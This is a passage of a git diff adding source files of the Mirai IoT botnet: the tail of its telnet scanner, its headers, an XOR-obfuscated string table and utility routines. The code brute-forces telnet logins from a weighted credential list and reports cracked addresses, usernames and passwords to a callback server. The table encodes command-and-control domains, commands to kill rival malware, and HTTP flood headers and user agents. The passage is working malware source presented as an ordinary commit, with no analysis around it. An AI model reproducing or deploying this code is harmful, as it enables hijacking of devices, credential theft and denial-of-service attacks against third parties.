'$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') + { + prompt_ending = i + 1; + break; + } + } + + if (prompt_ending == -1) + { + int tmp; + + if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1) + prompt_ending = tmp; + else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1) + prompt_ending = tmp; + } + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +static int consume_pass_prompt(struct scanner_connection *conn) +{ + char *pch; + int i, prompt_ending = -1; + + for (i = conn->rdbuf_pos - 1; i > 0; i--) + { + if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#') + { + prompt_ending = i + 1; + break; + } + } + + if (prompt_ending == -1) + { + int tmp; + + if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1) + prompt_ending = tmp; + } + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +static int consume_resp_prompt(struct scanner_connection *conn) +{ + char *tkn_resp; + int prompt_ending, len; + + table_unlock_val(TABLE_SCAN_NCORRECT); + tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len); + if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1) + { + table_lock_val(TABLE_SCAN_NCORRECT); + return -1; + } + table_lock_val(TABLE_SCAN_NCORRECT); + + table_unlock_val(TABLE_SCAN_RESP); + tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len); + prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1); + table_lock_val(TABLE_SCAN_RESP); + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight) +{ + int tmp; + + auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth)); + auth_table[auth_table_len].username = deobf(enc_user, &tmp); + auth_table[auth_table_len].username_len = (uint8_t)tmp; + auth_table[auth_table_len].password = deobf(enc_pass, &tmp); + auth_table[auth_table_len].password_len = (uint8_t)tmp; + auth_table[auth_table_len].weight_min = auth_table_max_weight; + auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight; + auth_table_max_weight += weight; +} + +static struct scanner_auth *random_auth_entry(void) +{ + int i; + uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight); + + for (i = 0; i < auth_table_len; i++) + { + if (r < auth_table[i].weight_min) + continue; + else if (r < auth_table[i].weight_max) + return &auth_table[i]; + } + + return NULL; +} + +static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth) +{ + struct sockaddr_in addr; + int pid = fork(), fd; + struct resolv_entries *entries = NULL; + + if (pid > 0 || pid == -1) + return; + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { +#ifdef DEBUG + printf("[report] Failed to call socket()\n"); +#endif + exit(0); + } + + table_unlock_val(TABLE_SCAN_CB_DOMAIN); + table_unlock_val(TABLE_SCAN_CB_PORT); + + entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL)); + if (entries == NULL) + { +#ifdef DEBUG + printf("[report] Failed to resolve report address\n"); +#endif + return; + } + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; + addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL)); + resolv_entries_free(entries); + + table_lock_val(TABLE_SCAN_CB_DOMAIN); + table_lock_val(TABLE_SCAN_CB_PORT); + + if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) + { +#ifdef DEBUG + printf("[report] Failed to connect to scanner callback!\n"); +#endif + close(fd); + exit(0); + } + + uint8_t zero = 0; + send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL); + send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL); + send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL); + send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL); + send(fd, auth->username, auth->username_len, MSG_NOSIGNAL); + send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL); + send(fd, auth->password, auth->password_len, MSG_NOSIGNAL); + +#ifdef DEBUG + printf("[report] Send scan result to loader\n"); +#endif + + close(fd); + exit(0); +} + +static char *deobf(char *str, int *len) +{ + int i; + char *cpy; + + *len = util_strlen(str); + cpy = malloc(*len + 1); + + util_memcpy(cpy, str, *len + 1); + + for (i = 0; i < *len; i++) + { + cpy[i] ^= 0xDE; + cpy[i] ^= 0xAD; + cpy[i] ^= 0xBE; + cpy[i] ^= 0xEF; + } + + return cpy; +} + +static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount) +{ + uint8_t *end = conn->rdbuf + conn->rdbuf_pos; + + return ptr + amount < end; +} + +#endif diff --git a/mirai/bot/scanner.h b/mirai/bot/scanner.h new file mode 100755 index 0000000..3669463 --- /dev/null +++ b/mirai/bot/scanner.h @@ -0,0 +1,64 @@ +#pragma once + +#include + +#include "includes.h" + +#ifdef DEBUG +#define SCANNER_MAX_CONNS 128 +#define SCANNER_RAW_PPS 160 +#else +#define SCANNER_MAX_CONNS 128 +#define SCANNER_RAW_PPS 160 +#endif + +#define SCANNER_RDBUF_SIZE 256 +#define SCANNER_HACK_DRAIN 64 + +struct scanner_auth { + char *username; + char *password; + uint16_t weight_min, weight_max; + uint8_t username_len, password_len; +}; + +struct scanner_connection { + struct scanner_auth *auth; + int fd, last_recv; + enum { + SC_CLOSED, + SC_CONNECTING, + SC_HANDLE_IACS, + SC_WAITING_USERNAME, + SC_WAITING_PASSWORD, + SC_WAITING_PASSWD_RESP, + SC_WAITING_ENABLE_RESP, + SC_WAITING_SYSTEM_RESP, + SC_WAITING_SHELL_RESP, + SC_WAITING_SH_RESP, + SC_WAITING_TOKEN_RESP + } state; + ipv4_t dst_addr; + uint16_t dst_port; + int rdbuf_pos; + char rdbuf[SCANNER_RDBUF_SIZE]; + uint8_t tries; +}; + +void scanner_init(); +void scanner_kill(void); + +static void setup_connection(struct scanner_connection *); +static ipv4_t get_random_ip(void); + +static int consume_iacs(struct scanner_connection *); +static int consume_any_prompt(struct scanner_connection *); +static int consume_user_prompt(struct scanner_connection *); +static int consume_pass_prompt(struct scanner_connection *); +static int consume_resp_prompt(struct scanner_connection *); + +static void add_auth_entry(char *, char *, uint16_t); +static struct scanner_auth *random_auth_entry(void); +static void report_working(ipv4_t, uint16_t, struct scanner_auth *); +static char *deobf(char *, int *); +static BOOL can_consume(struct scanner_connection *, uint8_t *, int); diff --git a/mirai/bot/table.c b/mirai/bot/table.c new file mode 100755 index 0000000..13b341e --- /dev/null +++ b/mirai/bot/table.c @@ -0,0 +1,158 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include + +#include "includes.h" +#include "table.h" +#include "util.h" + +uint32_t table_key = 0xdeadbeef; +struct table_value table[TABLE_MAX_KEYS]; + +void table_init(void) +{ + add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com + add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23 + + add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com + add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101 + + add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15); + + // safe string https://youtu.be/dQw4w9WgXcQ + add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29); + add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7); + add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5); + add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11); + add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4); + add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7); + add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8); + add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13); + add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10); + add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10); + add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33); + add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8); + add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11); + + add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6); + add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7); + add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7); + add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3); + add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19); + add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24); + add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9); + add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16); + add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22); + + add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21); + add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17); + add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12); + + add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23); + add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83); + add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32); + add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48); + add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12); + add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9); + add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10); + add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12); + add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16); + add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19); + add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8); + add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11); + add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12); + add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18); + add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25); + + add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); + add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); + add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); + add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); + add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117); +} + +void table_unlock_val(uint8_t id) +{ + struct table_value *val = &table[id]; + +#ifdef DEBUG + if (!val->locked) + { + printf("[table] Tried to double-unlock value %d\n", id); + return; + } +#endif + + toggle_obf(id); +} + +void table_lock_val(uint8_t id) +{ + struct table_value *val = &table[id]; + +#ifdef DEBUG + if (val->locked) + { + printf("[table] Tried to double-lock value\n"); + return; + } +#endif + + toggle_obf(id); +} + +char *table_retrieve_val(int id, int *len) +{ + struct table_value *val = &table[id]; + +#ifdef DEBUG + if (val->locked) + { + printf("[table] Tried to access table.%d but it is locked\n", id); + return NULL; + } +#endif + + if (len != NULL) + *len = (int)val->val_len; + return val->val; +} + +static void add_entry(uint8_t id, char *buf, int buf_len) +{ + char *cpy = malloc(buf_len); + + util_memcpy(cpy, buf, buf_len); + + table[id].val = cpy; + table[id].val_len = (uint16_t)buf_len; +#ifdef DEBUG + table[id].locked = TRUE; +#endif +} + +static void toggle_obf(uint8_t id) +{ + int i; + struct table_value *val = &table[id]; + uint8_t k1 = table_key & 0xff, + k2 = (table_key >> 8) & 0xff, + k3 = (table_key >> 16) & 0xff, + k4 = (table_key >> 24) & 0xff; + + for (i = 0; i < val->val_len; i++) + { + val->val[i] ^= k1; + val->val[i] ^= k2; + val->val[i] ^= k3; + val->val[i] ^= k4; + } + +#ifdef DEBUG + val->locked = !val->locked; +#endif +} diff --git a/mirai/bot/table.h b/mirai/bot/table.h new file mode 100755 index 0000000..80d0a46 --- /dev/null +++ b/mirai/bot/table.h @@ -0,0 +1,84 @@ +#pragma once + +#include +#include "includes.h" + +struct table_value { + char *val; + uint16_t val_len; +#ifdef DEBUG + BOOL locked; +#endif +}; + +/* Generic bot info */ +#define TABLE_PROCESS_ARGV 1 +#define TABLE_EXEC_SUCCESS 2 +#define TABLE_CNC_DOMAIN 3 +#define TABLE_CNC_PORT 4 + +/* Killer data */ +#define TABLE_KILLER_SAFE 5 +#define TABLE_KILLER_PROC 6 +#define TABLE_KILLER_EXE 7 +#define TABLE_KILLER_DELETED 8 /* " (deleted)" */ +#define TABLE_KILLER_FD 9 /* "/fd" */ +#define TABLE_KILLER_ANIME 10 /* .anime */ +#define TABLE_KILLER_STATUS 11 +#define TABLE_MEM_QBOT 12 +#define TABLE_MEM_QBOT2 13 +#define TABLE_MEM_QBOT3 14 +#define TABLE_MEM_UPX 15 +#define TABLE_MEM_ZOLLARD 16 +#define TABLE_MEM_REMAITEN 17 + +/* Scanner data */ +#define TABLE_SCAN_CB_DOMAIN 18 /* domain to connect to */ +#define TABLE_SCAN_CB_PORT 19 /* Port to connect to */ +#define TABLE_SCAN_SHELL 20 /* 'shell' to enable shell access */ +#define TABLE_SCAN_ENABLE 21 /* 'enable' to enable shell access */ +#define TABLE_SCAN_SYSTEM 22 /* 'system' to enable shell access */ +#define TABLE_SCAN_SH 23 /* 'sh' to enable shell access */ +#define TABLE_SCAN_QUERY 24 /* echo hex string to verify login */ +#define TABLE_SCAN_RESP 25 /* utf8 version of query string */ +#define TABLE_SCAN_NCORRECT 26 /* 'ncorrect' to fast-check for invalid password */ +#define TABLE_SCAN_PS 27 /* "/bin/busybox ps" */ +#define TABLE_SCAN_KILL_9 28 /* "/bin/busybox kill -9 " */ + +/* Attack strings */ +#define TABLE_ATK_VSE 29 /* TSource Engine Query */ +#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */ +#define TABLE_ATK_NSERV 31 /* "nameserver " */ + +#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */ +#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */ +#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8" +#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded" +#define TABLE_ATK_SET_COOKIE 36 // "setCookie('" +#define TABLE_ATK_REFRESH_HDR 37 // "refresh:" +#define TABLE_ATK_LOCATION_HDR 38 // "location:" +#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:" +#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:" +#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:" +#define TABLE_ATK_CHUNKED 42 // "chunked" +#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive" +#define TABLE_ATK_CONNECTION_HDR 44 // "connection:" +#define TABLE_ATK_DOSARREST 45 // "server: dosarrest" +#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx" + +/* User agent strings */ +#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */ +#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */ +#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */ +#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */ +#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */ + +#define TABLE_MAX_KEYS 52 /* Highest value + 1 */ + +void table_init(void); +void table_unlock_val(uint8_t); +void table_lock_val(uint8_t); +char *table_retrieve_val(int, int *); + +static void add_entry(uint8_t, char *, int); +static void toggle_obf(uint8_t); diff --git a/mirai/bot/util.c b/mirai/bot/util.c new file mode 100755 index 0000000..d1931df --- /dev/null +++ b/mirai/bot/util.c @@ -0,0 +1,291 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "util.h" +#include "table.h" + +int util_strlen(char *str) +{ + int c = 0; + + while (*str++ != 0) + c++; + return c; +} + + +BOOL util_strncmp(char *str1, char *str2, int len) +{ + int l1 = util_strlen(str1), l2 = util_strlen(str2); + + if (l1 < len || l2 < len) + return FALSE; + + while (len--) + { + if (*str1++ != *str2++) + return FALSE; + } + + return TRUE; +} + +BOOL util_strcmp(char *str1, char *str2) +{ + int l1 = util_strlen(str1), l2 = util_strlen(str2); + + if (l1 != l2) + return FALSE; + + while (l1--) + { + if (*str1++ != *str2++) + return FALSE; + } + + return TRUE; +} + +int util_strcpy(char *dst, char *src) +{ + int l = util_strlen(src); + + util_memcpy(dst, src, l + 1); + + return l; +} + +void util_memcpy(void *dst, void *src, int len) +{ + char *r_dst = (char *)dst; + char *r_src = (char *)src; + while (len--) + *r_dst++ = *r_src++; +} + +void util_zero(void *buf, int len) +{ + char *zero = buf; + while (len--) + *zero++ = 0; +} + +int util_atoi(char *str, int base) +{ + unsigned long acc = 0; + int c; + unsigned long cutoff; + int neg = 0, any, cutlim; + + do { + c = *str++; + } while (util_isspace(c)); + if (c == '-') { + neg = 1; + c = *str++; + } else if (c == '+') + c = *str++; + + cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX; + cutlim = cutoff % (unsigned long)base; + cutoff /= (unsigned long)base; + for (acc = 0, any = 0;; c = *str++) { + if (util_isdigit(c)) + c -= '0'; + else if (util_isalpha(c)) + c -= util_isupper(c) ? 'A' - 10 : 'a' - 10; + else + break; + + if (c >= base) + break; + + if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim) + any = -1; + else { + any = 1; + acc *= base; + acc += c; + } + } + if (any < 0) { + acc = neg ? LONG_MIN : LONG_MAX; + } else if (neg) + acc = -acc; + return (acc); +} + +char *util_itoa(int value, int radix, char *string) +{ + if (string == NULL) + return NULL; + + if (value != 0) + { + char scratch[34]; + int neg; + int offset; + int c; + unsigned int accum; + + offset = 32; + scratch[33] = 0; + + if (radix == 10 && value < 0) + { + neg = 1; + accum = -value; + } + else + { + neg = 0; + accum = (unsigned int)value; + } + + while (accum) + { + c = accum % radix; + if (c < 10) + c += '0'; + else + c += 'A' - 10; + + scratch[offset] = c; + accum /= radix; + offset--; + } + + if (neg) + scratch[offset] = '-'; + else + offset++; + + util_strcpy(string, &scratch[offset]); + } + else + { + string[0] = '0'; + string[1] = 0; + } + + return string; +} + +int util_memsearch(char *buf, int buf_len, char *mem, int mem_len) +{ + int i, matched = 0; + + if (mem_len > buf_len) + return -1; + + for (i = 0; i < buf_len; i++) + { + if (buf[i] == mem[matched]) + { + if (++matched == mem_len) + return i + 1; + } + else + matched = 0; + } + + return -1; +} + +int util_stristr(char *haystack, int haystack_len, char *str) +{ + char *ptr = haystack; + int str_len = util_strlen(str); + int match_count = 0; + + while (haystack_len-- > 0) + { + char a = *ptr++; + char b = str[match_count]; + a = a >= 'A' && a <= 'Z' ? a | 0x60 : a; + b = b >= 'A' && b <= 'Z' ? b | 0x60 : b; + + if (a == b) + { + if (++match_count == str_len) + return (ptr - haystack); + } + else + match_count = 0; + } + + return -1; +} + +ipv4_t util_local_addr(void) +{ + int fd; + struct sockaddr_in addr; + socklen_t addr_len = sizeof (addr); + + errno = 0; + if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) + { +#ifdef DEBUG + printf("[util] Failed to call socket(), errno = %d\n", errno); +#endif + return 0; + } + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = INET_ADDR(8,8,8,8); + addr.sin_port = htons(53); + + connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); + + getsockname(fd, (struct sockaddr *)&addr, &addr_len); + close(fd); + return addr.sin_addr.s_addr; +} + +char *util_fdgets(char *buffer, int buffer_size, int fd) +{ + int got = 0, total = 0; + do + { + got = read(fd, buffer + total, 1); + total = got == 1 ? total + 1 : total; + } + while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n'); + + return total == 0 ? NULL : buffer; +} + +static inline int util_isupper(char c) +{ + return (c >= 'A' && c <= 'Z'); +} + +static inline int util_isalpha(char c) +{ + return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z')); +} + +static inline int util_isspace(char c) +{ + return (c == ' ' || c == '\t' || c == '\n' || c == '\12'); +} + +static inline int util_isdigit(char c) +{ + return (c >= '0' && c <= '9'); +} diff --git a/mirai/bot/util.h b/mirai/bot/util.h new file mode 100755 index 0000000..960399a --- /dev/null +++ b/mirai/bot/util.h @@ -0,0 +1,22 @@ +#pragma once + +#include "includes.h" + +int util_strlen(char *); +BOOL util_strncmp(char *, char *, int); +BOOL util_strcmp(char *, char *); +int util_strcpy(char *, char *); +void util_memcpy(void *, void *, int); +void util_zero(void *, int); +int util_atoi(char *, int); +char *util_itoa(int, int, char *); +int util_memsearch(char *, int, char *, int); +int util_stristr(char *, int, char *); +ipv4_t util_local_addr(void); +char *util_fdgets(char *, int, int); + +static inline int util_isupper(char); +static inline int util_isalpha(char); +static inline int util_isspace(char); +static inline int util_isdigit(char); + diff --git a/mirai/build.sh b/mirai/build.sh new file mode 100755 index 